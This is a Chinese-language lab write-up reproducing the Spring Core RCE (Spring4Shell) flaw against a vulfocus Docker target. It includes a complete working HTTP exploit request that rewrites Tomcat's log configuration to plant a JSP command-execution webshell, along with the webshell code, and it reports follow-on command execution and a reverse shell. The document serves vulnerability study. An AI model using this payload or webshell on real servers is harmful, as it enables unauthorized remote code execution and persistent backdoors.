0x01環境搭建
這幾天一直鬧的很火的Spring Core RCE漏洞,來復現記錄一下
JDK9及其以上版本;
使⽤了Springbeans包;
使⽤了Spring參數綁定;
Spring參數綁定使⽤的是⾮基本參數類型,例如般的POJO即可
Spring框架中的核心組件只有三個:Core、Context和Beans。它們構建起了整個Spring的骨骼架構
順帶一提Spring核心組件的一些關系,Bean來包裝Object,而 Context是Bean關系的集合,這個集合叫做Ioc(Inversion of Control)容器。
Core組件是發現、建立和維護每 個Bean之間的關系所需要的一些列的工具。
通過docker搭建環境,pull image鏡像下來
這里是vulfocus靶場下的鏡像
docker pull vulfocus/spring-core-rce-2022-03-29
然后用docker run來啟動
跑起來后訪問
0x02漏洞利用
抓包后修改為POST請求,發送paylaod
根據修改日志配置,來寫日志 上傳惡意jsp文件
為什么會把suffix 和prefix兩個參數寫在前面定義?
payload:
POST / HTTP/1.1 Host: 192.168.255.128:5468 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest DNT: 1 suffix: %> prefix: <%Runtime Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 496 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22pass%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/root&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
因為如果直接利用pattern來寫一個完整的木馬命令執行
<%Runtime.getRuntime().exec(request.getParameter("pass"));%>
會發現寫進去的是
具體原因也不是很清楚,tomcat寫日志的東西
所以前面定義patten為 prefix和suffix來拼接完整的jsp語句
%{prefix}i.getRuntime().exec(request.getParameter("pass"));%{suffix}i
下面的directory為目錄,應當是能解析jsp的web目錄,我這里試着用WEB-INF目錄,但是似乎好像不能解析
發現webapps/下的目錄可以解析jsp文件,所以寫該目錄下寫入一個root目錄來寫文件
可以把下面的步驟想成一步步去執行的
后面再次使用了suffix和prefix定義,很明顯是定義為shell.jsp文件
發送payload后
執行一個curl命令
成功RCE
也可以反彈shell了
0x03總結
此次復現踩了很多坑,環境搭建原先想用idea,結果沒配出來環境,太菜了。這樣就沒法跟調用鏈子了
后面就用的docker來搭建,需要知道對應web目錄的位置才能去寫文件,不然解析不了。
復現的時候寫過一個文件了,去訪問該文件,會有相同的代碼再寫進去,因為是靠寫日志來寫入的。
如果想重新寫一個文件 我發現會無法再次寫入,因為是復現可以重啟docker就能再次寫了。
出現這種情況的原因是因為修改了tomcat寫日志的特殊配置,原本是置空的,然后被修改了(只能修改一次)
所以想重新寫另外一個文件就不行了,重啟后配置會被重新置空。
后續有了idea環境再來看看